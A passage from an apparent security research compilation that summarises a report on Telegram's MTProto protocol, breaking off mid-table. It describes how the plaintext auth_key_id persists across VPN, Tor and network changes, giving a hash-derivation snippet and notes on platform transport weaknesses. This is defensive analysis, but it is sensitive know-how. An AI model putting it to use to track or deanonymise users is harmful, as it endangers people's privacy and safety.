| MTProto | Assume auth_key_id is observable; use Tor overlay for metadata protection; avoid relying on Telegram's built-in privacy for high-risk operations |
| TON Bridge | Verify Jetton wallet code-hash on inbound bridge messages; enforce per-minter rate limits; monitor cross-chain flows |
| AI Bots | Separate system prompts from user input architecturally; sanitize LLM output before tool execution; rate-limit tool-calling APIs |
18. MTPROTO PROTOCOL ATTACKS
Source: Symbolic Software GNMX-01 report (2026-05-18, commissioned by GNM, published via iStories/OCCRP); IEEE S&P academic analysis; mtpsym.github.io symmetric analysis.
18.1 auth_key_id Plaintext Exposure & Deanonymization
Core finding: Telegram MTProto 2.0 prepends a 64-bit auth_key_id (SHA-1 hash of the 2048-bit authorization key, lower 64 bits) to every encrypted message's outer header. This identifier is plaintext on the wire and persistent across all network conditions.
# auth_key_id derivation (MTProto 2.0, still SHA-1)
import hashlib
auth_key = b'\x00' * 256 # 2048-bit key (example)
auth_key_id = hashlib.sha1(auth_key).digest()[-8:] # Lower 64 bits
# This 8-byte value appears in EVERY MTProto packet outer header, unencrypted
Persistence test matrix (all conditions: auth_key_id UNCHANGED):
| Test Condition | What It Should Defeat | Actual Result |
|---|---|---|
| App restart | Session-level identifiers | Unchanged |
| IP address change | IP tracking | Unchanged |
| WiFi network switch | Network-level fingerprint | Unchanged |
| WiFi ↔ Cellular switch | IP attribution | Unchanged |
| VPN activation | IP tracking / geolocation | Unchanged |
| Tor routing | Source IP attribution | Unchanged |
| Server IP switch (same DC) | Server endpoint identification | Unchanged |
| Multi-day observation | Short-term/session rotation | Unchanged |
PFS limitation: When PFS is enabled, a temporary auth_key_id is visible (24h validity). However, binding events between old and new temporary keys appear in the same traffic flow (same IP), allowing passive observers to trivially link across rotations.
Telegram's false claim: Telegram stated auth_key_id "changes periodically and does not leak user information." The report empirically refuted this: the long-term auth_key_id never rotated under any test condition.
18.2 Platform-Specific Transport Weaknesses
| Platform | Transport | Obfuscation | TLS | Risk |
|---|---|---|---|---|
| Android (v11.9.2) | Plain TCP | XOR only (trivially removable) | No | auth_key_id plaintext after XOR decode |
| Desktop (macOS v11.15.27) | Port 443 | N |
…(truncated)